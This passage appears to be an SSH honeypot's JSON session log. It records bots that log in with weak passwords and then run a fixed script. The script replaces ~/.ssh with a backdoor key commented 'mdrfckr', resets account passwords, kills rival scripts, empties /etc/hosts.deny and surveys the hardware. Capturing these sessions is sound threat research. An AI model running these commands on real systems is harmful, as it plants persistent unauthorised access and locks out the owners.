$2;}'"},{"seq":32,"at":"2026-08-27T13:06:39.055146+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Mm12345","method":"password","accepted":true,"tier":"other"}]} {"id":"98f7846c-2b00-4d02-911d-880d43d131a8","name":"early-salty-marmot","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":43030,"username":"pivpn","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:06:02.636910+00:00","ended_at":"2026-08-27T13:06:04.735285+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T13:05:41.373420+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:05:41.699718+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:05:46.251481+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:05:47.151624+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:05:47.479836+00:00","kind":"input","latency_ms":null,"data":"echo -e \"pivpn1234\\n8ykTkKW4F36f\\n8ykTkKW4F36f\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:05:47.807659+00:00","kind":"input","latency_ms":null,"data":"echo \"pivpn1234\\n8ykTkKW4F36f\\n8ykTkKW4F36f\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:05:48.448145+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:05:49.141656+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:05:49.467332+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:05:50.593688+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:05:50.924372+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:05:52.316697+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:05:52.646141+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:05:53.167149+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:05:53.493997+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:05:53.943997+00:00","kind":"output","latency_ms":null,"data":" 13:05:53 up 7 days, 9:56, 0 user, load average: 0.07, 0.09, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:05:54.272169+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:05:55.442829+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:05:55.767719+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:05:56.089734+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:05:56.418171+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:05:58.433902+00:00","kind":"output","latency_ms":null,"data":"top - 13:05:58 up 7 days, 9:56, 0 user, load average: 0.07, 0.09, 0.05\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:05:58.763875+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:05:59.332287+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:05:59.660930+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:06:00.093873+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:06:00.420105+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:06:00.732959+00:00","kind":"output","latency_ms":null,"data":"pivpn"},{"seq":29,"at":"2026-08-27T13:06:01.062804+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:06:02.308884+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:06:02.637734+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:06:04.639129+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"pivpn","password":"pivpn1234","method":"password","accepted":true,"tier":"other"}]} {"id":"459198e0-3ad0-4842-ac57-15bd9617cee7","name":"alpine-mindful-meerkat","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":39800,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":298,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:04:33.784479+00:00","ended_at":"2026-08-27T13:04:35.010501+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:04:14.451249+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:04:14.750743+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:04:18.852301+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:04:19.375533+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:04:19.675409+00:00","kind":"input","latency_ms":null,"data":"echo \"root:t1kwNNSMI2xE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:04:19.973789+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:04:20.272395+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:04:20.875459+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:04:21.178665+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:04:22.169620+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:04:22.470282+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:04:23.517713+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:04:23.819899+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:04:24.673161+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:04:24.971087+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:04:25.473500+00:00","kind":"output","latency_ms":null,"data":" 13:04:25 up 7 days, 9:54, 0 user, load average: 0.04, 0.02, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:04:25.772357+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:04:26.249634+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:04:26.549253+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:04:27.384428+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:04:27.686642+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:04:28.385793+00:00","kind":"output","latency_ms":null,"data":"top - 13:04:28 up 7 days, 9:54, 0 user, load average: 0.04, 0.02, 0.03\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:04:28.684088+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:04:29.546002+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:04:29.844413+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:04:30.732772+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:04:31.030224+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:04:31.675943+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:04:31.975839+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:04:33.485568+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:04:33.785280+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:04:34.923412+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Yx123456!","method":"password","accepted":true,"tier":"other"}]} {"id":"5a3174d7-8e96-4b90-aa2a-2e5a18678ffd","name":"gilded-gnarled-starling","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":47522,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:04:05.419096+00:00","ended_at":"2026-08-27T13:04:06.597421+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T13:03:35.782592+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:03:36.109953+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:03:40.453312+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:03:41.671152+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:03:42.006377+00:00","kind":"input","latency_ms":null,"data":"echo -e \"user123456\\nG58SfTYjUgOu\\nG58SfTYjUgOu\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:03:42.341153+00:00","kind":"input","latency_ms":null,"data":"echo \"user123456\\nG58SfTYjUgOu\\nG58SfTYjUgOu\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:03:42.674942+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:03:43.361567+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:03:44.058262+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:03:44.758771+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:03:45.088063+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:03:46.542445+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:03:46.872822+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:03:49.034000+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:03:49.363568+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:03:50.510314+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:03:50.843514+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:03:52.578714+00:00","kind":"output","latency_ms":null,"data":" 13:03:52 up 7 days, 9:53, 0 user, load average: 0.35, 0.34, 0.4\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:03:52.908699+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:03:55.098175+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:03:55.425530+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:03:56.239263+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:03:56.568009+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:03:58.258402+00:00","kind":"output","latency_ms":null,"data":"top - 13:03:58 up 7 days, 9:54, 0 user, load average: 0.35, 0.34, 0.4\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:03:58.590683+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:04:00.115747+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:04:00.446461+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:04:01.605143+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:04:01.935176+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:04:03.481574+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":31,"at":"2026-08-27T13:04:03.806955+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:04:05.091423+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:04:05.419849+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:04:06.501188+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"user123456","method":"password","accepted":true,"tier":"other"}]} {"id":"047a388a-5b15-466e-8856-1472d37c2eed","name":"ginger-fearless-stonechat","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":60034,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":438,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:04:04.740416+00:00","ended_at":"2026-08-27T13:04:05.848593+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:03:44.394732+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:03:44.832639+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:03:49.044367+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:03:49.364425+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:03:49.803235+00:00","kind":"input","latency_ms":null,"data":"echo \"root:LtSiO0PSagun\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:03:50.241875+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:03:50.685680+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:03:50.967947+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:03:51.407218+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:03:52.688770+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:03:53.128040+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:03:54.345001+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:03:54.783813+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:03:55.591198+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:03:56.029800+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:03:56.713682+00:00","kind":"output","latency_ms":null,"data":" 13:03:56 up 7 days, 9:54, 0 user, load average: 0.13, 0.12, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:03:57.150508+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:03:58.024293+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:03:58.461591+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:03:59.319272+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:03:59.755202+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:04:00.412134+00:00","kind":"output","latency_ms":null,"data":"top - 13:04:00 up 7 days, 9:54, 0 user, load average: 0.13, 0.12, 0.12\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:04:00.851599+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:04:01.116489+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:04:01.554204+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:04:01.892806+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:04:02.331558+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:04:02.949228+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:04:03.394279+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:04:04.304705+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:04:04.741218+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:04:05.698953+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"racing","method":"password","accepted":true,"tier":"other"}]} {"id":"0f682362-d5e7-4e59-b4bd-42fd12ad9a28","name":"orderly-mighty-blackbird","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":59570,"username":"kd","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":298,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:02:26.363338+00:00","ended_at":"2026-08-27T13:02:28.596587+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T13:02:08.972891+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:02:09.270635+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:02:13.053046+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc 